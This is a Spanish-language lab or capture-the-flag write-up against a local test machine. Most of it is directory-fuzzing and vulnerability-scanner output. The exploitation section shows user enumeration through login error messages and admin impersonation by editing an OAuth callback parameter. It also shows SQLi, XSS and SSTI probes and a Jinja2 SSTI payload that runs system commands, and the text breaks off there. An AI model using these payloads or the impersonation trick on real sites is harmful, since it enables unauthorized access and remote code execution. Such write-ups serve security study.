403      GET        7l       10w      162c http://buffered.dl/assets/img/
301      GET        7l       12w      178c http://buffered.dl/assets/img => http://buffered.dl/assets/img/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/glightbox/
403      GET        7l       10w      162c http://buffered.dl/assets/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/imagesloaded/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/swiper/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/isotope-layout/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/aos/
403      GET        7l       10w      162c http://buffered.dl/assets/js/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/bootstrap/css => http://buffered.dl/assets/vendor/bootstrap/css/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/glightbox/css => http://buffered.dl/assets/vendor/glightbox/css/
301      GET        7l       12w      178c http://buffered.dl/assets/css => http://buffered.dl/assets/css/
301      GET        7l       12w      178c http://buffered.dl/assets/img/team => http://buffered.dl/assets/img/team/
301      GET        7l       12w      178c http://buffered.dl/assets/img/clients => http://buffered.dl/assets/img/clients/
301      GET        7l       12w      178c http://buffered.dl/assets/img/portfolio => http://buffered.dl/assets/img/portfolio/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/bootstrap/js => http://buffered.dl/assets/vendor/bootstrap/js/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/glightbox/js => http://buffered.dl/assets/vendor/glightbox/js/
301      GET        7l       12w      178c http://buffered.dl/assets/js => http://buffered.dl/assets/js/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor => http://buffered.dl/assets/vendor/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/bootstrap-icons/fonts => http://buffered.dl/assets/vendor/bootstrap-icons/fonts/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/aos => http://buffered.dl/assets/vendor/aos/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/bootstrap => http://buffered.dl/assets/vendor/bootstrap/
[####################] - 4m   4190479/4190479 0s      found:78      errors:3      
[####################] - 4m    220548/220548  858/s   http://buffered.dl/ 
[####################] - 4m    220548/220548  858/s   http://buffered.dl/assets/img/team/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/vendor/imagesloaded/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/vendor/bootstrap/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/vendor/php-email-form/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/forms/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/img/clients/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/css/ 
[####################] - 4m    220548/220548  858/s   http://buffered.dl/assets/img/ 
[####################] - 4m    220548/220548  858/s   http://buffered.dl/assets/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/vendor/glightbox/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/img/masonry-portfolio/ 
[####################] - 4m    220548/220548  860/s   http://buffered.dl/assets/vendor/ 
[####################] - 4m    220548/220548  860/s   http://buffered.dl/assets/vendor/bootstrap-icons/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/vendor/aos/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/js/ 
[####################] - 4m    220548/220548  859/s   http://buffered.dl/assets/vendor/isotope-layout/ 
[####################] - 4m    220548/220548  860/s   http://buffered.dl/assets/vendor/swiper/ 
[####################] - 4m    220548/220548  867/s   http://buffered.dl/assets/img/portfolio/  
```

También vemos el resultado en nuestro archivo y ahora aremos lo mismo con el subdominio, cabe resaltar que esto lo podríamos hacer con un bucle for y ahorrarnos un poco de trabajo.

```python
feroxbuster -u http://dashboard.buffered.dl -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --burp-replay -o Ferox_directorios_subd_1.txt
```

**Resultado**

```js
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://dashboard.buffered.dl
 🚀  Threads               │ 100
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🎥  Replay Proxy          │ http://127.0.0.1:8080
 📼  Replay Proxy Codes    │ [100, 101, 102, 200, 201, 202, 203, 204, 205, 206, 207, 208, 226, 300, 301, 302, 303, 304, 305, 307, 308, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 421, 422, 423, 424, 426, 428, 429, 431, 451, 500, 501, 502, 503, 504, 505, 506, 507, 508, 510, 511, 103, 425]
 🔎  Extract Links         │ true
 💾  Output File           │ Ferox_directorios_subd_1.txt
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        4l       48w    17780c http://dashboard.buffered.dl/static/css/font-awesome.min.css
200      GET        8l      342w    27871c http://dashboard.buffered.dl/static/bootstrap/js/bootstrap.min.js
200      GET       43l      293w    16363c http://dashboard.buffered.dl/static/js/jquery.mixitup.min.js
200      GET        4l      155w     9707c http://dashboard.buffered.dl/static/js/modernizr.js
200      GET      219l      574w     8047c http://dashboard.buffered.dl/static/js/jquery.lightbox.js
200      GET      114l      536w    58095c http://dashboard.buffered.dl/static/js/jquery.nicescroll.min.js
200      GET      231l     1359w    12047c http://dashboard.buffered.dl/static/css/templatemo_style.css
200      GET       93l      199w     1940c http://dashboard.buffered.dl/static/css/templatemo_misc.css
200      GET       94l      218w     3941c http://dashboard.buffered.dl/oauth_login
200      GET        6l     1215w    93107c http://dashboard.buffered.dl/static/js/jquery-1.10.2.min.js
200      GET     2809l     5012w    61188c http://dashboard.buffered.dl/static/css/animate.css
200      GET      162l      259w     4113c http://dashboard.buffered.dl/static/js/templatemo_custom.js
200      GET        0l        0w        0c http://dashboard.buffered.dl/static/js/plugins.js
200      GET      111l      225w     4090c http://dashboard.buffered.dl/register
200      GET     7172l    14674w   136399c http://dashboard.buffered.dl/static/bootstrap/css/bootstrap.css
200      GET      128l      414w     5666c http://dashboard.buffered.dl/
302      GET        5l       22w      189c http://dashboard.buffered.dl/logout => http://dashboard.buffered.dl/
302      GET        5l       22w      211c http://dashboard.buffered.dl/auth => http://dashboard.buffered.dl/oauth_login
302      GET        5l       22w      189c http://dashboard.buffered.dl/dashboard => http://dashboard.buffered.dl/
405      GET        5l       20w      153c http://dashboard.buffered.dl/authenticate
[####################] - 4m    220569/220569  0s      found:20      errors:102    
[####################] - 4m    220548/220548  853/s   http://dashboard.buffered.dl/  
```

Después de ver los diferentes directorios existentes podemos hacer `Fuzzing` de extensiones de la siguiente manera, este tipo de fuzzing con `Feroxbuster` puede demorar muchísimo, así que mucha paciencia o usar `FFuf` para ir con un tipo de extensión e ir más rápido, por ejemplo archivos `php`

```python
feroxbuster -u http://buffered.dl -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,zip -t 100 --burp-replay  -o Ferox_archivos.txt
```

**Resultado**

```js
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://buffered.dl
 🚀  Threads               │ 100
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🎥  Replay Proxy          │ http://127.0.0.1:8080
 📼  Replay Proxy Codes    │ [100, 101, 102, 200, 201, 202, 203, 204, 205, 206, 207, 208, 226, 300, 301, 302, 303, 304, 305, 307, 308, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 421, 422, 423, 424, 426, 428, 429, 431, 451, 500, 501, 502, 503, 504, 505, 506, 507, 508, 510, 511, 103, 425]
 🔎  Extract Links         │ true
 💾  Output File           │ Ferox_archivos.txt
 💲  Extensions            │ [php, html, txt, zip]
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       48l      249w    20527c http://buffered.dl/assets/img/team/2.jpg
200      GET       27l      117w     8294c http://buffered.dl/assets/img/clients/client-3.png
200      GET       29l      129w     7722c http://buffered.dl/assets/img/clients/client-2.png
200      GET       85l      210w     2734c http://buffered.dl/assets/vendor/php-email-form/validate.js
200      GET      411l     2152w   174108c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-7.jpg
200      GET       21l      128w     8850c http://buffered.dl/assets/img/clients/client-5.png
200      GET       12l      557w    35445c http://buffered.dl/assets/vendor/isotope-layout/isotope.pkgd.min.js
200      GET        1l      273w    28765c http://buffered.dl/assets/vendor/aos/aos.css
200      GET      342l     1607w   148241c http://buffered.dl/assets/img/team/1.jpg
200      GET       12l      119w     5485c http://buffered.dl/assets/vendor/imagesloaded/imagesloaded.pkgd.min.js
200      GET      815l     2531w    36718c http://buffered.dl/index.html
200      GET      852l     6298w   495857c http://buffered.dl/assets/img/hero-bg.jpg
200      GET        1l      637w    56300c http://buffered.dl/assets/vendor/glightbox/js/glightbox.min.js
200      GET      201l      526w    37370c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-5.jpg
200      GET       19l       97w     6012c http://buffered.dl/assets/img/logo.png
200      GET       32l      199w     9277c http://buffered.dl/assets/img/clients/client-1.png
200      GET       20l      118w     5770c http://buffered.dl/assets/img/clients/client-6.png
200      GET       39l      142w     1250c http://buffered.dl/forms/newsletter.php
200      GET      336l      711w    38530c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-9.jpg
200      GET      179l      494w    31077c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-4.jpg
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/glightbox/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/aos/
200      GET      690l     3708w   262900c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-2.jpg
200      GET        1l      233w    13749c http://buffered.dl/assets/vendor/glightbox/css/glightbox.min.css
200      GET      282l      749w    11510c http://buffered.dl/portfolio-details.html
200      GET      117l      426w    33265c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-3.jpg
200      GET        1l      268w    13800c http://buffered.dl/assets/vendor/aos/aos.js
200      GET       41l      146w     1341c http://buffered.dl/forms/contact.php
200      GET      204l      445w     5979c http://buffered.dl/assets/js/main.js
200      GET       20l      126w     9599c http://buffered.dl/assets/img/clients/client-7.png
200      GET       63l      248w    13619c http://buffered.dl/assets/img/apple-touch-icon.png
200      GET        9l       31w     2057c http://buffered.dl/assets/img/favicon.png
200      GET       30l      118w     7817c http://buffered.dl/assets/img/clients/client-4.png
200      GET      101l      496w    39166c http://buffered.dl/assets/img/team/3.jpg
200      GET      120l      618w    52670c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-8.jpg
200      GET       63l      721w    43571c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-1.jpg
200      GET      147l      531w    38450c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-6.jpg
200      GET       41l      215w    16023c http://buffered.dl/assets/img/clients/client-8.png
200      GET       13l      182w    18431c http://buffered.dl/assets/vendor/swiper/swiper-bundle.min.css
200      GET     1708l     3865w    37583c http://buffered.dl/assets/css/main.css
200      GET        6l     2222w   232803c http://buffered.dl/assets/vendor/bootstrap/css/bootstrap.min.css
301      GET        7l       12w      178c http://buffered.dl/assets/img => http://buffered.dl/assets/img/
200      GET        7l     1207w    80721c http://buffered.dl/assets/vendor/bootstrap/js/bootstrap.bundle.min.js
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/bootstrap/
403      GET        7l       10w      162c http://buffered.dl/assets/img/clients/
200      GET      379l     2336w   211593c http://buffered.dl/assets/img/about.jpg
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/bootstrap-icons/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/imagesloaded/
403      GET        7l       10w      162c http://buffered.dl/assets/
200      GET     2078l    10308w    98255c http://buffered.dl/assets/vendor/bootstrap-icons/bootstrap-icons.css
200      GET     1578l     8338w   640477c http://buffered.dl/assets/img/cta-bg.jpg
200      GET       14l     1729w   150447c http://buffered.dl/assets/vendor/swiper/swiper-bundle.min.js
200      GET      815l     2531w    36718c http://buffered.dl/
403      GET        7l       10w      162c http://buffered.dl/assets/css/
403      GET        7l       10w      162c http://buffered.dl/assets/img/
403      GET        7l       10w      162c http://buffered.dl/assets/js/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/php-email-form/
403      GET        7l       10w      162c http://buffered.dl/assets/img/masonry-portfolio/
403      GET        7l       10w      162c http://buffered.dl/forms/
403      GET        7l       10w      162c http://buffered.dl/assets/img/team/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/swiper/
301      GET        7l       12w      178c http://buffered.dl/assets => http://buffered.dl/assets/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/isotope-layout/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/
301      GET        7l       12w      178c http://buffered.dl/forms => http://buffered.dl/forms/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/glightbox/css => http://buffered.dl/assets/vendor/glightbox/css/
301      GET        7l       12w      178c http://buffered.dl/assets/css => http://buffered.dl/assets/css/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/bootstrap/css => http://buffered.dl/assets/vendor/bootstrap/css/
301      GET        7l       12w      178c http://buffered.dl/assets/img/team => http://buffered.dl/assets/img/team/
301      GET        7l       12w      178c http://buffered.dl/assets/img/clients => http://buffered.dl/assets/img/clients/
301      GET        7l       12w      178c http://buffered.dl/assets/img/portfolio => http://buffered.dl/assets/img/portfolio/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/glightbox/js => http://buffered.dl/assets/vendor/glightbox/js/
301      GET        7l       12w      178c http://buffered.dl/assets/js => http://buffered.dl/assets/js/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/bootstrap/js => http://buffered.dl/assets/vendor/bootstrap/js/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor => http://buffered.dl/assets/vendor/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/bootstrap-icons/fonts => http://buffered.dl/assets/vendor/bootstrap-icons/fonts/
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/aos => http://buffered.dl/assets/vendor/aos/
200      GET        6l       15w      215c http://buffered.dl/Readme.txt
200      GET        2l       21w      179c http://buffered.dl/forms/Readme.txt
301      GET        7l       12w      178c http://buffered.dl/assets/vendor/bootstrap => http://buffered.dl/assets/vendor/bootstrap/
[###>----------------] - 4m   4081304/20952420 17m     found:80      errors:3      
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_buffered_dl-1729886314.state ...
```

Para el subdominio seria lo mismo, solo agregaríamos `-x php,html,txt,zip` y todas las extensiones que queremos buscar.

```python
feroxbuster -u http://dashboard.buffered.dl -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,zip -t 100 --burp-replay  -o Ferox_archivos_subd_1.txt
```

**Resultado**

```js
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://dashboard.buffered.dl
 🚀  Threads               │ 100
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🎥  Replay Proxy          │ http://127.0.0.1:8080
 📼  Replay Proxy Codes    │ [100, 101, 102, 200, 201, 202, 203, 204, 205, 206, 207, 208, 226, 300, 301, 302, 303, 304, 305, 307, 308, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 421, 422, 423, 424, 426, 428, 429, 431, 451, 500, 501, 502, 503, 504, 505, 506, 507, 508, 510, 511, 103, 425]
 🔎  Extract Links         │ true
 💾  Output File           │ Ferox_archivos_subd_1.txt
 💲  Extensions            │ [php, html, txt, zip]
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      111l      225w     4090c http://dashboard.buffered.dl/register
200      GET       94l      218w     3941c http://dashboard.buffered.dl/oauth_login
200      GET        0l        0w        0c http://dashboard.buffered.dl/static/js/plugins.js
200      GET        4l      155w     9707c http://dashboard.buffered.dl/static/js/modernizr.js
200      GET       93l      199w     1940c http://dashboard.buffered.dl/static/css/templatemo_misc.css
200      GET      231l     1359w    12047c http://dashboard.buffered.dl/static/css/templatemo_style.css
200      GET      219l      574w     8047c http://dashboard.buffered.dl/static/js/jquery.lightbox.js
200      GET        4l       48w    17780c http://dashboard.buffered.dl/static/css/font-awesome.min.css
200      GET        8l      342w    27871c http://dashboard.buffered.dl/static/bootstrap/js/bootstrap.min.js
200      GET     2809l     5012w    61188c http://dashboard.buffered.dl/static/css/animate.css
200      GET     7172l    14674w   136399c http://dashboard.buffered.dl/static/bootstrap/css/bootstrap.css
200      GET      162l      259w     4113c http://dashboard.buffered.dl/static/js/templatemo_custom.js
200      GET       43l      293w    16363c http://dashboard.buffered.dl/static/js/jquery.mixitup.min.js
200      GET        6l     1215w    93107c http://dashboard.buffered.dl/static/js/jquery-1.10.2.min.js
200      GET      114l      536w    58095c http://dashboard.buffered.dl/static/js/jquery.nicescroll.min.js
200      GET      128l      414w     5666c http://dashboard.buffered.dl/
302      GET        5l       22w      189c http://dashboard.buffered.dl/logout => http://dashboard.buffered.dl/
302      GET        5l       22w      211c http://dashboard.buffered.dl/auth => http://dashboard.buffered.dl/oauth_login
302      GET        5l       22w      189c http://dashboard.buffered.dl/dashboard => http://dashboard.buffered.dl/
405      GET        5l       20w      153c http://dashboard.buffered.dl/authenticate
[#####>--------------] - 5m    295262/1102845 15m     found:20      errors:1      
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_dashboard_buffered_dl-1729886769.state ...
```

Ahora algo más que podríamos hacer es usar 2 herramientas que detectan vulnerabilidades, la primera seria `nuclei` y la otra seria `nikto` veamos como usarlas.

**Nuclei**

Nuclei es un escáner de vulnerabilidades rápido y personalizable impulsado por la comunidad de seguridad global y construido sobre un DSL simple basado en YAML, que permite la colaboración para abordar las vulnerabilidades de tendencia en Internet. Le ayuda a encontrar vulnerabilidades en sus aplicaciones, API, redes, DNS y configuraciones de la nube.

Nuclei esta escrito en `go`, en caso de necesitar alguna `cookie` de sesión u otras opciones para funcionar se puede agregar con el parámetro `-H` esto inyecta lo necesario en la cabecera de las solicitudes.

```python
nuclei -l subdominios.txt -o Nuclei.txt
```

**Resultado**

```js
                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.3.5

		projectdiscovery.io

[WRN] Found 3 templates with runtime error (use -validate flag for further examination)
[INF] Current nuclei version: v3.3.5 (latest)
[INF] Current nuclei-templates version: v10.0.2 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 68
[INF] Templates loaded for current scan: 8696
[INF] Executing 8497 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 199 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 2
[INF] Running httpx on input host
[INF] Found 2 URL from httpx
[INF] Templates clustered: 1629 (Reduced 3078 Requests)
[waf-detect:nginxgeneric] [http] [info] http://buffered.dl
[waf-detect:nginxgeneric] [http] [info] http://dashboard.buffered.dl
[form-detection] [http] [info] http://dashboard.buffered.dl
[form-detection] [http] [info] http://buffered.dl
[options-method] [http] [info] http://dashboard.buffered.dl ["HEAD, GET, OPTIONS, POST"]
[tech-detect:font-awesome] [http] [info] http://dashboard.buffered.dl
[tech-detect:animate.css] [http] [info] http://dashboard.buffered.dl
[tech-detect:bootstrap] [http] [info] http://dashboard.buffered.dl
[tech-detect:nginx] [http] [info] http://dashboard.buffered.dl
[fingerprinthub-web-fingerprints:openfire] [http] [info] http://buffered.dl
[tech-detect:lightbox] [http] [info] http://buffered.dl
[tech-detect:bootstrap] [http] [info] http://buffered.dl
[tech-detect:google-font-api] [http] [info] http://buffered.dl
[tech-detect:nginx] [http] [info] http://buffered.dl
[nginx-version] [http] [info] http://dashboard.buffered.dl ["nginx/1.24.0"]
[nginx-version] [http] [info] http://buffered.dl ["nginx/1.24.0"]
[old-copyright] [http] [info] http://dashboard.buffered.dl ["&copy; 2016"]
[http-missing-security-headers:permissions-policy] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:x-frame-options] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:clear-site-data] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:strict-transport-security] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:content-security-policy] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:x-content-type-options] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:referrer-policy] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://dashboard.buffered.dl
[http-missing-security-headers:content-security-policy] [http] [info] http://buffered.dl
[http-missing-security-headers:permissions-policy] [http] [info] http://buffered.dl
[http-missing-security-headers:x-content-type-options] [http] [info] http://buffered.dl
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://buffered.dl
[http-missing-security-headers:strict-transport-security] [http] [info] http://buffered.dl
[http-missing-security-headers:x-frame-options] [http] [info] http://buffered.dl
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://buffered.dl
[http-missing-security-headers:referrer-policy] [http] [info] http://buffered.dl
[http-missing-security-headers:clear-site-data] [http] [info] http://buffered.dl
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://buffered.dl
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://buffered.dl
[caa-fingerprint] [dns] [info] dashboard.buffered.dl
[caa-fingerprint] [dns] [info] buffered.dl
```

**Nikto**

Nikto es una herramienta de código abierto que analiza servidores web para detectar vulnerabilidades. Entre las cosas que puede hacer, Nikto busca: Software desactualizado o sin parches, Archivos peligrosos, Versiones des actualizadas del software del servidor web.

```python
nikto -h http://buffered.dl/ -o resultado_dominio_nikto.txt -ask no
```

**Resultado**

```js
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          172.17.0.2
+ Target Hostname:    buffered.dl
+ Target Port:        80
+ Start Time:         2024-10-25 18:42:27 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx/1.24.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 7962 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2024-10-25 18:42:36 (GMT-5) (9 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
❯ nikto -h http://dashboard.buffered.dl/ -o resultado_subdominio_nikto.txt -ask no
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          172.17.0.2
+ Target Hostname:    dashboard.buffered.dl
+ Target Port:        80
+ Start Time:         2024-10-25 18:42:56 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx/1.24.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, OPTIONS, POST .
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8046 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-10-25 18:43:26 (GMT-5) (30 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

Con estos pasos deberíamos tener suficientes datos para encontrar alguna vulnerabilidad web presente en el servidor.

## <mark style="color:green;">Explotación de vulnerabilidades</mark>

Lo primero que are sera registrarme en la pagina web para ver como es internamente o que cosas tengo a nivel de usuario, el login lo podemos encontrar en el subdominio, si veo los correos que guarde en un inicio, todo tiene como dominio `@buffered.dl` así que eso usare, me registrare como `victor@buffered.dl`.

<figure><img src="/files/6Di6VsuFoAtvbJHcW4gX" alt=""><figcaption></figcaption></figure>

Cuando iniciamos sesión, vemos que tenemos un **dashboard** pero no hay ningún campo que podamos intentar vulnerar.

Lo que puedo hacer ahora es verificar si puedo conseguir las credenciales de algún usuario con mas privilegios o iniciar sesión como algún usuario privilegiado, ejemplo **admin**, primero intento con uno de los correos que tenemos guardados `christine@buffered.dl` y cualquier contraseña, me muestra lo siguiente.

{% hint style="info" %}
Email is not registered
{% endhint %}

Y así casi con todos, excepto el ultimo correo que es de `wilson@buffered.dl` me dice lo siguiente, si intento con el correo de `admin@buffered.dl` también me dice:

{% hint style="info" %}
Invalid login
{% endhint %}

Con estas notificaciones podría hacer un ataque de fuerza bruta porque ya tengo una forma de ver correos validos solo faltaría la contraseña, pero vemos en **Burp Suite** para ver como es el método de autenticación.

Veo otra forma de iniciar sesión por `OAuth Login` en **Burp Suite** veo lo siguiente.

<figure><img src="/files/okqyi1MNSG4wow13L50x" alt=""><figcaption></figcaption></figure>

Veo que se manda mi correo con mi contraseña.

<figure><img src="/files/l37SE8zXH7bLwMTZR5R3" alt=""><figcaption></figcaption></figure>

Después hace una petición por **GET** a `oauth_callback`.

<figure><img src="/files/5mmYljG7jTxdlZeffNrc" alt=""><figcaption></figcaption></figure>

Y por ultimo da el acceso según lo que se envié, en este caso al `dashboard` de usuario normal, cuando hace la petición **GET** a `oauth_callback` podemos modificar los parámetros y suplantar la identidad de **admin** por ejemplo, en este caso cambiando el `gmail`, quedaría de la siguiente manera.

<figure><img src="/files/OXNHL9XRH1h1hPah5sz6" alt=""><figcaption></figcaption></figure>

Ahora le damos `Forward` y nos aparecerá lo siguiente.

<figure><img src="/files/LmzJoGgcJRurIo5igkNe" alt=""><figcaption></figcaption></figure>

Vemos que ahora si nos da acceso a `admin_dashboard`, volvemos a presionar `Forward`.

<figure><img src="/files/udEG5PSk2eY3yzoCdf9z" alt=""><figcaption></figcaption></figure>

Y ya vemos algunos campos que podemos seguir intentando vulnerar, intentemos con el capo `Search` lo siguiente:

* Primero intento con inyecciones **SQL** `' OR '1'='1` me devuelve.

{% hint style="info" %}
The item with ID ' OR '1'='1 is not found.
{% endhint %}

En los campos de más abajo tampoco parece funcionar.

* Segundo intento con inyecciones **html** `<h1>hello</h1>` me devuelve lo mismo, no parece funcionar.
* Intentamos con inyecciones **js** `<script>alert('XSS');</script>` y tampoco funciona.
* Intentemos con inyecciones **SSTI** `{{7*7}}` y nos da un resultado favorable ya que nos resuelve la operación.

{% hint style="info" %}
The item with ID 49 is not found.
{% endhint %}

Intentemos obtener un **RCE** aprovechando este **SSTI**, un repositorio que nos podría ayudar es el siguiente [PayloasdAllTheThing](https://swisskyrepo.github.io/PayloadsAllTheThings/) tambien tienen una pagina web, esta pagina nos ayuda a determinar frente a que tipo de inyección estamos, en nuestro caso después de probar algunas inyecciones veo que estamos frente a un **Jinja2** ya que si por ejemplo inyectamos:

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

Nos devuelve un `trollface` y así con comandos como `whoami`:

